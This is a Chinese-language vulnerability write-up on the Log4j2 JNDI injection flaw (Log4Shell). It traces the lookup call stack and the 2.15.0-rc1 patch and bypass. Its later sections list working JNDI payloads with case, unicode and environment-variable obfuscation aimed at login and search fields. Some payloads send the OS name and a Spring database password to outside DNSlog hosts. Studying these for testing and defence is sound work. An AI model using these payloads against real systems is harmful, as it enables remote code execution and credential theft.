分析
demo code: (环境搭建参考 https://www.anquanke.com/post/id/262668)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test {
private static final Logger logger = LogManager.getLogger(test.class);
public static void main(String[] args) {
String a="${java:os}";
logger.error(a);
}
}
参考 https://lorexxar.cn/2021/12/10/log4j2-jndi/
调用栈:
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:82, AwaitCompletionReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, test
跟进log.error函数会调用 logIfEnabled
这个函数会判断当前日志等级是否启用,然后再调用logMessage函数.
只有大于等于log4j日志等级配置的日志才会被记录和解析, 默认情况下这个配置是Error
(log4j的日志等级有如下这些)
然后就直接跟到MessagePatternConverter#format函数, 这个函数会判断解析日志中是否存在 “${“ 开头的字符串,如果存在就调用this.config.getStrSubstitutor().replace进行解析和替换.
this.config.getStrSubstitutor() 返回 StrSubstitutor类实例.
看到StrSubstitutor#replace: 不同于普通的字符串replace(X
replace会调用StrSubstitutor#substitute函数,
这个函数做了两件事情, 匹配 ${} 和 匹配 xx:xx(如java:os)
匹配到了之后调用resolveVariable函数.
这个函数就是解析log4j日志中特殊变量的, 可以看到它把解析的任务交给了resolver.
调试的话可以发现这个resolver是类org.apache.logging.log4j.core.lookup.Interpolator的实例,
然后看到它的lookup方法就是对 xx:yy 协议做了一个前缀匹配, 然后找对应的strLookup方法
strLookup: 就是各自loopup方法, 都是log4j实现的. 功能都可以看名字看出来大概.
然后就是调用对应的lookup方法了.
这里可以看下JndiLookup, 基本就是调用jndi的lookup方法了:
RC1修复与绕过
修复之后的版本默认关闭lookup方法, 可以通过如下的配置开启:
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
修复后的代码在 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
直接弃用了原理的format方法,
功能被私有类替代, 不开lookup=> SimpleMessagePatternConverter
开lookup=>LookupMessagePatternConverter:
ps: 发现apache官方在最新的log4j-core中移除了LookupMessagePatternConverter
然后修复之后别的主要改动就是Jndi.lookup方法的实现了:
修改之前:
修改之后: 加了两处限制
@SuppressWarnings("unchecked")
public synchronized <T> T lookup(final String name) throws NamingException {
try {
// ...
// 两处限制
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
- 限制LDAP Server host ip, 默认的白名单是本地IP
- 下面这段代码. 猜测是针对RMI的攻击面进行了过滤. // TODO,
Bypass: bypass非常简单, 只需要在执行校验之前, 触发溢出,那么代码就会直接跳转到异常处理, 然后就可以执行lookup.
触发异常的方法: new URI异常.
${jndi:ldap://xxx.xxx.xxx.xxx:xxxx/ ExportObject}
poc/测试
登录框,页面参数,搜索框
在可能存在漏洞的地方插入: ${jndi:rmi://fc318d9b.dns.1433.eu.org/ test}
变形/绕过
${${upper:jndı}:ldap://localhost:1090/rce}
json unicode编码绕过
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//a0d27ae7.dnslog.rest/z}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://a0d27ae7.dnslog.rest/z}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://a0d27ae7.dnslog.rest/z}
${jnd${upper:ı}:ldap://a0d27ae7.dnslog.rest/z}
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words (github的一些绕过.
利用
受Log4j影响的组件/厂商等: https://github.com/YfryTchsGD/Log4jAttackSurface
RCE
敏感信息泄露
利用dnslog外带敏感信息.
${jndi:ldap://${java:os}.2lnhn2.ceye.io}
泄露配置文件信息:
参考 https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
${jndi:ldap://${bundle.application.spring.datasource.password}.2lnhn2.ceye.io}
参考文章
https://www.anquanke.com/post/id/263325#h2-4
https://lorexxar.cn/2021/12/10/log4j2-jndi/